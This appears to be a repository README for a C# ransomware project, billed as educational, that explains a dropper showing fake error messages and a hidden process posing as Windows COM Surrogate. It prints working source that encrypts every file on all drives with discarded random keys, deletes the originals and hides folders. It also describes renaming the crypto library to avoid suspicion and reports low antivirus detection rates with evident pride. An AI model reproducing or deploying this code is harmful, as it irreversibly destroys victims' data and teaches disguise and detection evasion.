Ransomware

Ransomware is a project written in .Net Framework 4.8 and shows how ransomeware generally works. This repository should be used for educational reasons only!!

Folders

The Setup folder contains a Inno Setup script and the installer.

The BeforeSetup folder contains the files the setup installs.

The Projects folder contains the C# source code.

The stuff behind

The LustigeFehler.exe file is the main exe. It will start and show some nonsense error messages.

If it's not run in admin mode, it will crash with an error. If the .exe is started in admin mode, it will start up a new hidden (can't be seen in the taskbar or as GUI) process called COM Surrogate in the background.

Why COM Surrogate? - Because noone will ever expect a standard Windows process is running as a virus. In the background, the our Fake COM Surrogate.exe will run and try to encrypt all files on all drives it finds.

Additionally, it will hide all folders it finds. Furthermore, the AES crypto library is obfuscated to the name msvpc.dll to avoid that suspicious users (who take a look into the install folder) get more suspicious.

How is this possible? - The following lines of code taken from Main.cs show the main ransomware code.

private string GetRandomPassword()
{
   var alg = SHA512.Create();
   alg.ComputeHash(Encoding.UTF8.GetBytes(DateTime.Now.ToLongDateString() + _random.Next(int.MaxValue)));
   return BitConverter.ToString(alg.Hash);
}

private void Run()
{
   foreach (var drive in DriveInfo.GetDrives())
   {
      try
      {
         EncryptFs(drive.Name);
      }
      catch
      {
         // ignored
      }
   }
}

private void EncryptFs(string directory)
{
   foreach (var file in Directory.GetFiles(directory))
   {
      try
      {
         if (file == null) continue;
         Msvpc.UseE(GetRandomPassword(), file,
            Path.Combine(directory, Path.GetFileNameWithoutExtension(file)) + Resources.Ending);
         File.Delete(file);
      }
      catch
      {
         // ignored
      }
   }

   foreach (var dir in Directory.GetDirectories(directory))
   {
      HideDirectory(dir);
      EncryptFs(dir);
   }
}

private void HideDirectory(string dir)
{
   var di = new DirectoryInfo(dir);
   if ((di.Attributes & FileAttributes.Hidden) != FileAttributes.Hidden)
   {
      di.Attributes |= FileAttributes.Hidden;
   }
}

private bool IsElevated()
{
   var id = WindowsIdentity.GetCurrent();
   return id.Owner != id.User;
}

Virustotal.com scans

Well, let's see what virustotal.com shows us as information on this "virus":

The dllhost.exe: https://www.virustotal.com/#/file/ff946d2667b9a51b477d3abcdb12177b732c27901e199731cfe21f9430fba568/detection --> 9 / 57 detections --> Very poor :D
The LustigeFehler.exe: https://www.virustotal.com/#/file/18436c0625daad52a141eeb9f4d4cbfd94e54264fa949ec9597c84c4ad0b39bb/detection --> 0 / 57 detections, which is ok. It's clean.
The LustigeFehler-Setup.exe: https://www.virustotal.com/#/file/31f5447fa6c498ab526f1686cb77778f41223d6783ccba4298f9580ce8dfa055/detection --> 11 / 58 detections --> Very poor :D

Hint

Please don't try this software on your PC. It's for educational purposes only!!!!!!

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